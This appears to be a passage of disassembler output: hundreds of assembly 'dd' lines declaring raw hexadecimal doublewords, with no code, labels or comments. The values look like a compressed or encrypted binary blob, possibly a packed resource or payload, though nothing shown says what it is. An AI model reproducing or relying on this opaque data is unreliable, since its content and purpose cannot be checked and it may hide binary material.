dd 90DCC0E3h, 0A430D398h, 8B2A38E2h, 0BC240372h, 0C3A3930Ch
dd 1E096101h, 271FD9Eh, 70ED8CCh, 2DB75820h, 0A6BE9040h
dd 0C8002E3Ch, 3DA45AFFh, 61395Fh, 6353A041h, 38A6950Fh
dd 0F6C33400h, 14DF9E1Ah, 0E2F306A3h, 76217F5Dh, 0A79D3728h
dd 0A4489C02h, 401F70AAh, 7CEF2DD3h, 0FF02006Dh, 20E95B7Fh
dd 5F003EF6h, 47556C43h, 73240DAFh, 372E02C6h, 0B249F714h
dd 0BFA717C0h, 16003C74h, 1DC5BD5h, 3ED1554Ch, 1658CB1Ah
dd 52F8BF30h, 0F930B7A5h, 8F79F141h, 0DD8800DCh, 70E9366Bh
dd 58007702h, 0F38790CDh, 35571Dh, 67529D78h, 0D32E5CB3h
dd 7DA9F01h, 0E1AF2B64h, 7E408F20h, 39BB00C7h, 620649BFh
dd 0F800085Dh, 0ED90E120h, 0EDD4Fh, 95D84BDAh, 63B077D3h
dd 0A9C7B200h, 0F966F497h, 1DC90748h, 30CF8E46h, 6A419F6Dh
dd 81A1A9C8h, 7FAE65Ah, 30BCF9A8h, 841FEE05h, 7E40FEB1h
dd 0F5B0197h, 4A1F00CFh, 0AE11D1F4h, 5D001DB6h, 83F81594h
dd 0FC27033h, 46B7BC86h, 0A4E70200h, 9B25B9B6h, 14F0F021h
dd 983758F3h, 48DAF603h, 0C4A82881h, 7400536Fh, 10DD9B35h
dd 0E03758Eh, 0FA4225AAh, 1561C160h, 9B5078D4h, 7C0058C0h
dd 0B5601308h, 1D6D51Ah, 0C1944814h, 800BDB9Fh, 129E4D38h
dd 3D57BBC3h, 0F400B363h, 0E8AD8F28h, 0A0000DA7h, 1C650955h
dd 0FF7732h, 0DE7537CAh, 0FD732947h, 0AFEDB20Eh, 0CC09C34Ch
dd 0A9FE9010h, 28B403D0h, 8B48FFAEh, 8E18C6E8h, 7247681Eh
dd 26E9184h, 0EC240CC0h, 37E600B6h, 4F36F686h, 40003EFCh
dd 0F8DBF571h, 69AA9h, 0A7965052h, 0C8623944h, 8FBA8B03h
dd 0B894BB1Eh, 3E5D8CCFh, 0E40096F3h, 0BE71D949h, 48DC3D05h
dd 0B0E859C0h, 1FE27D24h, 409F4433h, 9CE3531Dh, 4000DC81h
dd 5DFCE12Ah, 905C8Ch, 0A1D21A42h, 5014D9E8h, 0D4169E00h
dd 0DDA34F82h, 0ECBE00CBh, 0FC1309E0h, 7600B992h, 25AEEDA8h
dd 386EA4Ah, 48D5E6D2h, 0C5B06D30h, 2100C754h, 7141F0C4h
dd 49E5643h, 5AA68206h, 151180C2h, 1A00D8E2h, 5C280513h
dd 324296Dh, 4FF54034h, 0DAD851CDh, 0F300C0B9h, 981C13C3h
dd 81CCD9h, 11ED58E5h, 6C4A7602h, 431B1F00h, 0C022B1FAh
dd 0DB7400B8h
dd 3D7F69Eh, 2C788701h, 8088C938h, 0BED77FDh, 51C895h
dd 0CEF4A874h, 0B6BABD13h, 611CAD07h, 0A321390Fh, 802AF583h
dd 0C1BD9529h, 505C7900h, 0C94AB432h, 307C0031h, 3C07CE84h
dd 0D87CC782h, 9E53211Ch, 2FE50500h, 5B59B3D2h, 0C523B096h
dd 0DCD9C807h, 1050C4B8h, 369DF1Ah, 2C307F17h, 0B5E906FFh
dd 4D16D8E6h, 40514303h, 0E8689BA4h, 384B9693h, 8B006E7Ah
dd 0AABC949h, 9C00D931h, 5BF9A2F0h, 60354E2Ch, 0FF1CD0F5h
dd 4C3FD1E2h, 0A91580DCh, 8A8E29A1h, 0CCB0505Fh, 55660014h
dd 0D6E436E6h, 0BD7070DEh, 13FE100h, 30A69420h, 997100E2h
dd 2BE880AEh, 8B065776h, 6B1929CDh, 0DF7B19h, 913D1F6Fh
dd 7BC533C1h, 0C6526500h, 6CF2BA57h, 816A0075h, 0CCA06753h
dd 0DE009583h, 0FCF73D3Fh, 0CB8B23h, 0C3B8C5E4h, 0CC087516h
dd 3D4B9000h, 0DD6932E3h, 879500C2h, 0A6F1CF02h, 0CDE41AA1h
dd 0B10031EEh, 0C42ED83Ch, 428F3ABh, 8E0EE040h, 6F8DC15Fh
dd 0A0E7FB7Fh, 2FCBD06Bh, 0C4320800h, 835D6A70h, 0DE2006Dh
dd 0B0941A3h, 0BD13D474h, 7000478Ch, 616398B7h, 0F139003Bh
dd 0AB900E78h, 440081B2h, 0E36224BBh, 481394C9h, 78000614h
dd 7503CCDCh, 0A00E91D6h, 43FB8218h, 803EC27Ah, 0AE71EAh
dd 0CCD34842h, 0E881FE8Fh, 4B00CFE0h, 9045396Dh, 7ADBA3h
dd 72CB01A6h, 0E5B25D99h, 6190BB76h, 3748082Ch, 40F5AD0Fh
dd 998431C8h, 0E800070h, 0B43583DCh, 0CC0FC4BDh, 47E91E14h
dd 13207BC9h, 7D0EB163h, 44D50095h, 6B38E572h, 9100BADFh
dd 8FCBA594h, 7BDCF93h, 3EBFC648h, 0EA1820A1h, 9D0F64CEh
dd 0F2E8228Eh, 0C1DF5C0Fh, 0BE6AA40Dh, 219E1080h, 55E57557h
dd 2500B674h, 44D2F9AFh, 2EDECDh, 88B77260h, 0E5A28C3Ah
dd 891ED53Dh, 8042703Eh, 0F4E31108h, 15BB8FCh, 9ACB5B50h
dd 80633BBCh, 1C037A80h, 0F78E4D96h, 1E098760h, 300873FAh
dd 0F13290A1h, 0BC5E4905h, 2F80478Dh, 0DE2E5691h, 261F20h
dd 176E1659h, 21B8C764h, 20926707h, 86801457h, 75693641h
dd 44FCCEh, 8C965C8Bh, 66C82691h, 9D1ABD00h, 0A0BB78FEh
dd 0D1C905BCh, 83035AF8h, 7FBB47D2h, 9D5697D9h, 74C32E71h
dd 41C2FCAh, 638413A0h, 9100164Fh, 8B19A33Eh, 2C880E8Ah
dd 0EAE013C6h, 496EBCFh, 0CB865900h, 0F4077668h, 97C0595h
dd 30C73F6h, 0F0569278h, 319583Eh, 1D842FBAh, 1B88A0C2h
dd 3C8D51EEh, 144236D1h, 163B00CAh, 0EA001F8Bh, 95ACF71Dh
dd 0CCF196h, 649C5782h, 52DBA26Ch, 8DDEC100h, 0F2D13115h
dd 32180039h, 0B91DF8C9h, 71008274h, 0F76311D7h, 0A9775Ch
dd 86CDC530h, 0F87B5DB8h, 3DBE9900h, 3E82258Eh, 1783137Ah
dd 0F57006Fh, 0F6083B53h, 0F8BB2400h, 3D7564A3h, 0F58103F9h
dd 0E9710493h, 20BF2880h, 8B9E7300h, 0C31D4705h, 0B931F65h
dd 45B7808Ah, 56461E87h, 7F86241Dh, 5F3C1200h, 848D77h
dd 0BE6CEA60h, 0D49CA6E2h, 94005E7Dh, 11DC0918h, 13645243h
dd 0D2AB39h, 1D801333h, 4000AC7Bh, 0A51C7D5Fh, 0E2DC98Bh
dd 0D49083F1h, 1B5EE782h, 70ECAC80h, 95246D74h, 8300D8D7h
dd 0B2481606h, 1CBCEA7Ah, 80332724h, 99C0E2ADh, 9C7D3187h
dd 4A9BB100h, 4C95E71h, 704E00DAh, 0CDC7D80Eh, 80009793h
dd 0D072AF45h, 0FEA95F4Fh, 0F3EB07BBh, 0C71E631Bh, 0C0ABA0C1h
dd 64094D62h, 80C7EC01h, 0BE1339E3h, 0E39A0093h, 6840EE97h
dd 0AE1CF032h, 234160A6h, 0D1D0131Ch, 7480BCF5h, 2EE0CDDDh
dd 6E3B5399h, 1ED28059h, 5B54F84Dh, 9BED047Ah, 80143872h
dd 0AA32AFF0h, 0E46510Eh, 398983A3h, 60E9C89Fh, 42DF181Bh
dd 0D96D2813h, 3F53F700h, 458EDB16h, 39ACB284h, 7D007746h
dd 65330C66h, 4E26CD08h, 1D802056h, 50C34B01h, 0ECDA5C09h
dd 80601724h, 0A6746EB6h, 0B0B0CF2Dh, 0F56B2C13h, 0B8403013h
dd 966CE9ABh, 0EDA405D8h, 0C07721FAh, 0A1DDF2D1h, 7D3CA00h
dd 6A66E61Fh, 0C1500E7Eh, 0F520805Fh, 232A68B4h, 6BCBDA01h
dd 64300D57h, 1B44CCh, 0BAF72F0Ch, 0A58B9BD1h, 0F0ED6C38h
dd 4298F400h, 0FC1C6220h, 45D20EE5h, 53D336DDh, 0F4F0008Ch
dd 245D15EDh, 76B46C00h, 9FDD4206h, 0EEBE0359h, 75453760h
dd 64904390h, 0CA521206h, 2AF80BC7h, 7698696Eh, 5E8205EFh
dd 0C5CCEBh, 8A88F9BCh, 0E5137A03h, 0CB16E7A4h, 175DB005h
dd 0F26304C0h, 44480027h, 1126324Ch, 7171E308h, 57DDE407h
dd 4FE25247h, 0CA9C87FFh, 0CE5A6550h, 51F000A9h, 0FDDCC77Dh
dd 48028428h, 7CA055EFh, 7280E05Dh, 238E1CECh, 0C0791C03h
dd 416BD16Dh, 93D1997h, 4C5F26B5h, 0F0DC3581h, 0A4D094F4h
dd 56CC095Ah, 557770h, 5712D442h, 0B3670021h, 5CE3B31h
dd 0A009AC27h, 803ECABFh, 0A71D6253h, 923A3807h, 7458BA80h
dd 34832B7Bh, 194FC600h, 0D50124E2h, 26540057h, 41BEB84Eh
dd 470E6B70h, 40658D28h, 0EB95971Eh, 500D7699h, 24A69077h
dd 0F805733h, 55C0FFBBh, 114D2BABh, 99D01916h, 6802AB04h
dd 131A2C90h, 0A5350141h, 0B35201E1h, 0FDA435F3h, 0FC8AC40Dh
dd 29286A00h, 42CFCBDCh, 8255CBAh, 0CA399A00h, 94DBC4F3h
dd 5E782900h, 3D3EBC51h, 1828BA2Fh, 0E645ECA9h, 5A001F70h
dd 69E86DFBh, 1CDE76Ch, 21D2931h, 0DC7248D4h, 0F4077843h
dd 0B7A6FE25h, 35528029h, 0BD0637h, 0FC76269Fh, 0A3D8C9D0h
dd 3038CF24h, 9C8A3F00h, 70905A1Eh, 9DB9000Fh, 0A9417660h
dd 0BC5CEB31h, 11B50009h, 0D7CD7585h, 0E5200F0Ah, 3A206F65h
dd 38191C6Ah, 15F57D00h, 0A4BCD56Eh, 0F2070514h, 0C0FEBBF9h
dd 0F1373C94h, 21AC0100h, 0D99E3F31h, 0FA100B8h, 3EF61C7Ah
dd 6EE8B0BAh, 0B47EE892h, 0A540E418h, 58B9BEC8h, 5D0EFCE1h
dd 0ACE0BB19h, 89D3601Bh, 0A7CDE600h, 41CE626Fh, 3B4502C6h
dd 953E7442h, 8000C950h, 552C238Fh, 390EFB0h, 1AAEA993h
dd 3DE23A3Ch, 958684A0h, 0F770128Fh, 78E95D30h, 78B8C52h
dd 4522F3BEh, 0C620CF78h, 25A00DD3h, 6A4B2D00h, 0DFA994DDh
dd 0C3F059h, 0BDC9D8CAh, 0EE68017Eh, 17821100h, 95DBCEA8h
dd 8C222858h, 8FD50488h, 92C0447Dh, 9CE5C388h, 7941A7C0h
dd 0BCD604FDh, 0B1FFB02Ch, 1F5BDC3Ch, 0C49FDB1Eh, 0C0BD7D86h
dd 73C93A39h, 0A1D73B00h, 5DEBB55Fh, 0E140441Dh, 0C6C093DCh
dd 4AB79D42h, 2E9F07C9h, 0D0688A8Fh, 53CEFC81h, 8044B325h
dd 0B9BA0210h, 0B0A81FA6h, 25B36CECh, 0D0F60C07h, 9741C20h
dd 0FEB4E100h, 5127B2CDh, 1FB9038h, 4E67C7E5h, 0C530E8A0h
dd 24B08180h, 3D0A9ED8h, 38E9DCh, 94FC04C7h, 3BAD6365h
dd 0F8E8E200h, 2E74A159h, 0A3C52832h, 0E3EEBCh, 0B9DE6A3Dh
dd 54813303h, 780AE3Ah, 0F46C823Bh, 384FC490h, 0C9BD01D5h
dd 0CF4E040Ch, 48108037h, 237E458Ah, 59A76097h, 0FA3D7F34h
dd 52E97000h, 0B7917B19h, 0E6EF0031h, 0C469BE42h, 700BFF7h
dd 973F9526h, 3A147Dh, 2CED3E03h, 0A937AE25h, 98F358h
dd 2FE3CEDAh, 2620099Ah, 0DCC963h, 0B28CA7FEh, 36006CF5h
dd 119B40EAh, 0E4ADB915h, 7D57690h, 6CEDAF05h, 6479C06Fh
dd 0DEFEE036h, 193F7090h, 420E0B97h, 0C65800B9h, 0FAEB7C09h
dd 5B8D079Fh, 500BD057h, 0BF85D789h, 4C041400h, 744142C5h
dd 0F2710F35h, 0C741DBE9h, 0D806E725h, 0D705D57Ch, 50B02F9Bh
dd 0EA000CC7h, 887472h
dd 17CDFB7Fh, 8C047107h, 43BB731Eh, 0B66AE381h, 0E9FDBA7Ah
dd 349C0C21h, 4E7C000Bh, 63643D3h, 7D900D00h, 242367F7h
dd 48C400DBh, 6520C737h, 7A07A1DAh, 0D7282D3Ch, 30574710h
dd 0F3E8006Fh, 51071290h, 0AA00AEEEh, 4FC248B1h, 480FCC14h
dd 4A789419h, 0FD68415Fh, 0E0997906h, 860977AAh, 4491EC1Bh
dd 0E4752578h, 0CC0C8420h, 9037295h, 0D66961Ch, 0AC01FE8h
dd 0D37900ECh, 8DDE6D04h, 0FB94F4Ch, 0EFB6BC56h, 0CA38E78Eh
dd 4B7F1D5Fh, 88612C18h, 0CFD72A7Dh, 47180C84h, 0C560917Eh
dd 9DC63201h, 0FD980F41h, 7750841h, 31097189h, 0D491980Bh
dd 3DE0D59h, 80A39AE9h, 148E0AC2h, 0D7F43140h, 0F3006113h
dd 0C22DB949h, 4AA4DAF0h, 0BAC43167h, 72C3DCBFh, 981AD201h
dd 63C6FB6Eh, 78CDFCh, 1050181Fh, 80567D85h, 463FC700h
dd 367A2427h, 3E3D0086h, 53665704h, 8A1D1A5Eh, 5080EBDEh
dd 77FF4A19h, 94E0FEh, 6C994D66h, 91563F33h, 63EB1200h
dd 0B9AC269Ch, 69370088h, 0B829E416h, 0F00F507h, 39BFE292h
dd 8296FCh, 65CFD57Eh, 0E48FDC26h, 0A5542DEAh, 4A7EA84h
dd 85D24500h, 0D54D8Ah, 8DE7A292h, 90C7C118h, 0BFD36307h
dd 5A201AEAh, 0C3658839h, 0CAF75F30h, 4B1D4000h, 0CB3CBCD9h
dd 31430006h, 0EB1AE716h, 801E77FDh, 0C79B13B5h, 0A1ADA820h
dd 60BF297Eh, 213DCA20h, 0A4991E20h, 69844158h, 5085FDE2h
dd 0EF2C45E0h, 946CDD00h, 0D2B2A161h, 7C960B47h, 0F381354Dh
dd 80CD3C89h, 557BAEE9h, 90CE478Ch, 94F663Ch, 8E1221B3h
dd 510055C2h, 4840A9B1h, 0F17201B8h, 344B0749h, 128441BCh
dd 1F3183C9h, 810A98DDh, 0B4483059h, 9326008Ch, 0B6B3A4ADh
dd 977E9FBEh, 9CDDA900h, 3B1E36BBh, 3D1500C5h, 1D8275CBh
dd 0C350B543h, 63180A80h, 0B768B253h, 0D2123FD7h, 7061233Ah
dd 50160CC1h, 6AE24EDCh, 0FDE30719h, 40C89B79h, 8F28C2D4h
dd 0AF01F545h, 72EA7FF4h, 8CB9014Ch, 584F790Dh, 0B0A820AAh
dd 22BF08C9h, 0C064D8BCh, 0AF0BC95h, 5D219A4Bh, 2B6260B8h
dd 3A50BED2h, 0C8013FA4h, 0DA04323h, 99306F4Fh, 45F0022Fh
dd 78F4AE53h, 0D873C90h, 0C04F7411h, 0DB80C488h, 46B50D5Fh
dd 4DD40060h, 50211D57h, 190A99B2h, 0E829E53Fh, 5BFCDEh
dd 1DE78F31h, 0C3AC5C98h, 8A6DE03Bh, 0BCBF753Bh, 0B38F5E04h
dd 46B84C86h, 0D8B027Ch, 31604F78h, 63D710BEh, 0BC4000Dh
dd 0F2FA4867h, 8301734Eh, 0DD45E361h, 0A820EFEAh, 0EB6F145Ah
dd 89029084h, 0A35B5411h, 0F792F480h, 0C2BFE8F9h, 71B4205Fh
dd 0C748814h, 0C53C8CD8h, 17004BD1h, 0DD159BB2h, 0ED15956h
dd 748F25B9h, 0AB00972Eh, 0BCEB871Eh, 61186909h, 339C10E6h
dd 73750083h, 0CAD0B409h, 9574DC92h, 20713A6Eh, 2393758Bh
dd 0AA61008Dh, 0FE2AC8D2h, 320097C0h, 5A54C728h, 306B1370h
dd 9BB8B0E7h, 61C01047h, 4B180CA1h, 389E1263h, 20C003CBh
dd 0F0638C5Fh, 991C0838h, 7424D1B1h, 0A5F7209Bh, 7DCEBC09h
dd 0CA98E830h, 81CF0070h, 1C2E5A1Bh, 8CC8A75h, 0B021A2h
dd 0AE57CF78h, 2BDC1E52h, 28CCEA00h, 0C2D5479Eh, 0AB8A536h
dd 5E88687Dh, 0F30E3946h, 0D640ED05h, 1B1D5D33h, 0DC19A524h
dd 48C0EB13h, 12BF2513h, 0D02F0A36h, 89527154h, 0D4CBAF00h
dd 0E87F78C2h, 704F5083h, 71F4091Fh, 2400B14Dh, 0E2459279h
dd 0E6202E50h, 82A3E93Fh, 4D72C87Fh, 3D7044F5h, 5CC8DF45h
dd 2AD0ED10h, 0A487C814h, 2F60C9C4h, 31B83B87h, 0A8131EB0h
dd 3408DF37h, 82D2841Dh, 0E100AED9h, 901AE654h, 18FB1245h
dd 86C808E5h, 8D5578C0h, 22764647h, 0BFFAB7h, 6FD72D55h
dd 0D41A3889h, 8C52EF00h, 1592783Eh, 942E00ADh, 0B0A80D43h
dd 24998DE2h, 3518BED1h, 0A72A6001h, 0F409597Bh, 2180CCF9h
dd 3F821681h, 3A0E77F0h, 8086F77Fh, 0DC089C8Bh, 4E8112AEh
dd 0BF5004BBh, 30C322A8h, 7F10CF76h, 0AAE08A1Bh, 0F701CF7Eh
dd 0F0EE5D1Ah, 8057BF3Ch, 0A09F3FD0h, 1DF415h, 97C9A374h
dd 73CAEB3Ah, 69C1E700h, 13D1BBB8h, 81C0614Bh, 60518801h
dd 0D7C09BCh, 8DE80513h, 741CD4D5h, 816F8050h, 9B0E9F81h
dd 78289603h, 4F0607F8h, 2883AB27h, 638F6F05h, 0EC94B107h
dd 0A1DC18C2h, 0E0429990h, 69D79BF8h, 508520C4h, 6F589279h
dd 389870FAh, 551B111Eh, 5833678Ch, 0A2BE12CDh, 4DC00096h
dd 8C126515h, 76011093h, 66478755h, 8B88B818h, 7A550E7Dh
dd 272695DFh, 0FC98B1AFh, 18B89B2Eh, 0C69D3341h, 0F9A4D00h
dd 60A8C165h, 0B788108Eh, 0ED2BFFC0h, 7A5D02E2h, 0AA536B07h
dd 10CBF4C9h, 25B22F1h, 0EEB2107Bh, 841B0E4h, 0F80A13A7h
dd 1FC93F91h, 0EABBA8h, 99CBA303h, 0D11E6702h, 0D3D5CA94h
dd 0C24500B0h, 59DB265Eh, 46A72D0h, 81F33CAAh, 3D24911Dh
dd 0C67980BDh, 0B89927DEh, 53B900FDh, 0DAC27AF4h, 0FB021CAEh
dd 62212581h, 0E850431Dh, 48DCBE2Ah, 499F4C7Dh, 2C6807C1h
dd 0B1C09B30h, 7D3F7FECh, 70530064h, 0FB5E3609h, 0C10BE2D7h
dd 0C0D4B2E8h, 1EB9277Bh, 5D4FCA4Ah, 0BC003EF0h, 65603114h
dd 0BB0745EAh, 808E73B8h, 211746h, 3B603933h, 0D1695E48h
dd 430B0407h, 5A5029F6h, 0E6794Fh, 0C4B635DAh, 0D36ED585h
dd 0F352CF01h, 0F4BB2737h, 599C4880h, 57357807h, 3D206E0Ch
dd 0C0A708AFh, 7A07B21h, 97264DDEh, 6D18F2C0h, 14EB81h
dd 0CCCBA622h, 0C6C13D7Ah, 306C073Ch, 10F4207Eh, 0A47300C7h
dd 88794631h, 0B1006B9Ah, 1AFF6ECAh, 3242B38h, 75DEE8F7h
dd 0A6E06F35h, 0E230A1BCh, 0B4CA4020h, 36B00063h, 0CE0F6006h
dd 8CC785Fh, 0E121B9h, 0E49BB06Bh, 69775D72h, 29D9F100h
dd 9257F65Eh, 0EA590626h, 0A8B736F4h, 0E6317F05h, 8801BC40h
dd 6FE10AFFh, 706CDAC8h, 442CA064h, 2953076Ah, 3CCB8D84h
dd 0DB0072D1h, 235531D0h, 195B8A2h, 3BD91485h, 0DCEA6479h
dd 6E54D480h, 37000790h, 2C78C11Eh, 0B14C19h, 4EB8A92Fh
dd 6B54CEFFh, 619ADA06h, 617DCAh, 5E21DE65h, 0DF027E74h
dd 0DA146B00h, 0FDB66328h, 0A1C00A8h, 0EB4917DDh, 0AA606C98h
dd 4E156A40h, 85E0C7A4h, 0A281CC32h, 0C2BE1401h, 0BF768859h
dd 0C3DC60D8h, 550201F8h, 231B1F9Ch, 76F90708h, 0D1A9304Fh
dd 0BC5497BDh, 9088431h, 5480C7B2h, 0AAA614E9h, 0A2D804A8h
dd 2FB06260h, 11680623h, 6A9E00B8h, 95765AB0h, 3CB7ECA3h
dd 98CCDD0Bh, 353854h, 49F59AFEh, 0E38F315Fh, 610108ECh
dd 0EF7925AEh, 0C370C3A9h, 0B9B51CAFh, 0BD39F027h, 1800663Eh
dd 0C200EAEh, 39295BAAh, 934CBB75h, 70EE390Ch, 0B3073C0h
dd 0F25F91D7h, 0B71F0179h, 0BB422DB8h, 7418809Ch, 555BB63Bh
dd 85E8A0CCh, 0C9A62838h, 0D0E080ACh, 0E0BE1433h, 470990EFh
dd 0E01D941Ch, 42801C11h, 93627E76h, 24D9E93Fh, 0A60476B7h
dd 8DB4958h, 0DD05C780h, 0DA2E8265h, 0F100CE09h, 0B0E65E2Ch
dd 771C00E9h, 5DAB296Fh, 544C83F3h, 0DD3C8704h, 75390861h
dd 0F4402FEDh, 7706BEh, 45CD4A67h, 9ACAF502h, 3909FCA0h
dd 0F829716Dh, 603430CAh, 5DEA5E11h, 0AE831A88h, 0D038603Ch
dd 0E05843Eh, 3186D67Dh, 0D0CE6Ah, 358742EBh, 0E55308BEh
dd 144E1CB0h, 822C58C0h, 445BE2h, 0C93D7D64h, 0ACF7197Ch
dd 557ACE0Ah, 390CD84Ch, 4E971F1h, 1609F0D2h, 4C609071h
dd 0C3023E59h, 0AC352CCCh
dd 5E644186h, 33B0DC19h, 11480623h, 669A008Dh, 3FD538B0h
dd 796AE0D2h, 9A49061h, 8D4C9635h, 465A30A1h, 0C2E4EF75h
dd 5C303ABCh, 35771107h, 80A688AFh, 7A07A37Ch, 491422DBh
dd 14DFA931h, 60C0BC4Eh, 83C6B3Ah, 84023029h, 0EE325AD8h
dd 0A4062119h, 460E710h, 220C9AACh, 0B2C6D35h, 18336C15h
dd 2064CA0Fh, 891104D2h, 25413400h, 0EDABAEE1h, 145B00C2h
dd 0C8650246h, 551E47E2h, 0F2047D3Ah, 2CC40E11h, 960A888h
dd 0CECB66DFh, 726A68A1h, 0AB3530FBh, 49F0980Dh, 0EF089Bh
dd 0FB4A8C21h, 703CE00Ah, 0EB620D0Bh, 7A130030h, 9848C133h
dd 2F6E074h, 1D699636h, 0D503934Ah, 0E85DB709h, 0BFB3C850h
dd 74BD5824h, 0D969189Dh, 0BA00B266h, 19E37084h, 541B1DDFh
dd 30D4E417h, 8E2962D5h, 5CFEB603h, 0C4252000h, 4CEC3FA3h
dd 2A57B47h, 148628E2h, 608A70AFh, 32DE05ACh, 0B6E48303h
dd 0CAFF00ECh, 9168F90Ah, 0EFA23A08h, 1E2C1F4Ch, 3208D44h
dd 1571B5ABh, 0D800ADBEh, 3A1A48D4h, 18B33350h, 0A8B8E211h
dd 862A3907h, 0E8F2ECCCh, 84C80528h, 3258EB01h, 791201A0h
dd 5E8F20BFh, 695E6C8Ch, 9C3C220h, 0A8B72630h, 7AAC88h
dd 49443947h, 9629F179h, 3A9CC949h, 29B03009h, 0D53193h
dd 0DC94832Ah, 0F1B44C5Fh, 0DD3D3B01h, 0AE229756h, 0B9FC1C60h
dd 49758108h, 0D47633FAh, 0D20091B2h, 90AD31A5h, 5958DEh
dd 7397CFEFh, 67FC24B3h, 9B72CB02h, 80B708E7h, 0A61D4998h
dd 1814B24Bh, 18DFF0EEh, 0B600FB12h, 0FC5F8762h, 0E022773Bh
dd 0C949004Dh, 0B5FF4AA2h, 0F4AB68D5h, 0E79D2AE0h, 3E396C3Bh
dd 3C4C0014h, 8116C83Dh, 0A65B50C6h, 0F8E89205h, 0C7701B0h
dd 7833656h, 958050B6h, 846008B7h, 78686099h, 6BEF00E4h
dd 0B04ABB72h, 500A146h, 0D41365B6h, 12CDC53Bh, 41AE3109h
dd 5B83ACD8h, 651BAAFh, 0A826C0BDh, 97A53D11h, 666F1481h
dd 0ED526DE6h, 0F4BFF0F1h, 0FE2CDE00h, 0DAEE8DC5h, 0B0E00097h
dd 297F1E79h, 0ED74FC10h, 9646900h, 0A045A446h, 0A499E77Dh
dd 811608E5h, 0A49EE221h, 4CF193CEh, 8B9ECC0h, 30014484h
dd 1544E91Dh, 2483B3D2h, 4867A8BAh, 84B7000Ah, 7C6B9B0Bh
dd 0EB7BFB3Bh, 0DB97DE00h, 621F7E8Fh, 0E01CE4AFh, 42D1072Fh
dd 8C8129E9h, 96006908h, 33735154h, 75246C9Fh, 60C7319Bh
dd 0ECA09A48h, 5883DFB3h, 3130CC31h, 3A2D5091h, 0C8E7FB0Fh
dd 4A3F03CAh, 5C680E32h, 3898FF27h, 0A2305FEAh, 2D581819h
dd 694A03F0h, 4B549B65h, 0A9AA6800h, 60E5FCF9h, 6DD10046h
dd 0C2544A3h, 0A50E0F0Eh, 20AF0B2Bh, 12C085DCh, 5EDE000Ah
dd 0BAE7EAFCh, 2333CF6h, 0E9DD08B1h, 0FC0979Fh, 1D501C2Bh
dd 306D9FD2h, 7248528h, 0A0404400h, 0EE069E17h, 0AEC00F9h
dd 2D74EAD1h, 9600688Dh, 0AE706083h, 6C7D76h, 0C9E4875Dh
dd 2802D646h, 7F4D69C0h, 7362A7Bh, 10554345h, 0AB65A066h
dd 970114BAh, 0AA6A7205h, 30BDFF91h, 0B9C10780h, 99BE0EABh
dd 9C00C4FAh, 0E6EF3A7Eh, 0C954ADh, 8760BB30h, 0F33195DFh
dd 0BA83C803h, 0D80444h, 0B01CBDE9h, 530662DBh, 0BA5A683Dh
dd 21D2304Ah, 0B0649Fh, 15060C30h, 0FC1A9A40h, 0DBBC22h
dd 5A77BD63h, 48FA47Ah, 8419D160h, 53195Ch, 7C475D1Bh
dd 40929A81h, 0F3605400h, 0A1C14CD5h, 2D052A6Ch, 0F5760380h
dd 90F9AA48h, 0A202B8C8h, 67181F00h, 0D9E2B4A8h, 7ADE2497h
dd 34830031h, 13F10628h, 8F05197Ah, 661763DDh, 2800CC56h
dd 79E48C77h, 0A1EBA0D5h, 0CF1BE8D6h, 77C02521h, 0E0414C0Dh
dd 7D0A7800h, 2BC593Bh, 0AE91D626h, 0F1743F00h, 1D08AAB3h
dd 9C6F1342h, 961F00BCh, 0C8A34BB5h, 0C8FB912Ah, 68AF0200h
dd 0D198A7D0h, 5D310274h, 32F35F07h, 0E7FC62E0h, 8F3B9CA4h
dd 5DC9860h, 1DDD11h, 30381076h, 0ACE4681Fh, 0FB59F461h
dd 2980DAE6h, 0BC951AEEh, 8F0B4622h, 99E375h, 0E2367A37h
dd 91D607A8h, 86E43CE9h, 9806417Fh, 0EF928F3Dh, 0DA560011h
dd 0B97E1C18h, 7533B6C1h, 480829h, 18D23421h, 0CC9AE6CBh
dd 0A6051A00h, 0D7EEAE7Dh, 481F728Dh, 1EC05CDCh, 2FCE9961h
dd 0A87DC101h, 0C358FDA1h, 914BBF8h, 961A595Ch, 8CFB8404h
dd 18147D1Ch, 0C0B8F7FCh, 7A55B8CEh, 0B559003Ah, 35FFD857h
dd 52712F97h, 921F893Eh, 6815CCF0h, 0E4A050ACh, 0FB6CAE50h
dd 3150F778h, 0D5488808h, 9A0C90B4h, 1DF09828h, 0E75A0141h
dd 23C06F27h, 9338816Bh, 0E3048062h, 0DF2EB180h, 6B7FB843h
dd 0F9D13838h, 2A9C7750h, 188BB0A1h, 601808DEh, 4EC4D97Eh
dd 18D63040h, 8300B0D1h, 0EF8F5176h, 50E11AF5h, 50968C0Dh
dd 8BEAE0DCh, 0E26035C0h, 5E669500h, 0DE0FF411h, 0D7EF0C10h
dd 0DAC9B705h, 92A68D00h, 0E1C83B31h, 8336639h, 0F9012122h
dd 6E01A945h, 0BED088B1h, 7AE00577h, 30681DCEh, 18E1E888h
dd 627FFDF6h, 0E7A09E02h, 97C695E4h, 80031174h, 0BD58D360h
dd 0A88212AFh, 345007ABh, 8E271062h, 1E486ADDh, 7795C4DCh
dd 0D8148FC5h, 801FC8DCh, 0EF778DFCh, 0F4008A55h, 81F57C24h
dd 0A7A0196h, 8E3D991Eh, 18DB4050h, 91467E1Dh, 0D3EEFA22h
dd 77E01802h, 89CA8EE8h, 40900484h, 0DFB06060h, 4A666210h
dd 9B9ED5C8h, 0B6DDAF80h, 4078BC61h, 0DF44E6F2h, 5DE9005Ah
dd 77FE2F53h, 736C7A52h, 8C3F68A0h, 0DEB01F02h, 19531E62h
dd 679810D6h, 389000AFh, 0AA1C2E7Ah, 7C05A7B5h, 716A2B4Eh
dd 35DC9040h, 43AE8Dh, 67614DAh, 6A9612F2h, 0F0A85A7Eh
dd 1563702Bh, 0C80F31h, 61929D61h, 0B6432017h, 24E5B400h
dd 0AA233908h, 75691FBAh, 39E5B955h, 0C0249B3Ch, 9E230C93h
dd 7DCF405Eh, 772BF20Ch, 9825969h, 0DCD2EC33h, 0E8FC4D00h
dd 40D5B979h, 2301C988h, 0FE50494h, 8FD9A461h, 3E739C0h
dd 350460B8h, 0B502629Eh, 338C5C82h, 7E1B1898h, 1228146h
dd 18D53300h, 4D026637h, 14A20109h, 6AB486AFh, 0DD918160h
dd 0C4042285h, 0D1C8884Fh, 407D23C0h, 3D9C0597h, 0EAFBF5h
dd 0EB705D20h, 750660DCh, 2E02DDE7h, 4DF70079h, 939DED30h
dd 0B9047DACh, 5EF389D0h, 42D3809Bh, 0C30732A8h, 11F83C69h
dd 0CC50631Dh, 0D6488F0h, 916F6A99h, 8F8BF089h, 6079E091h
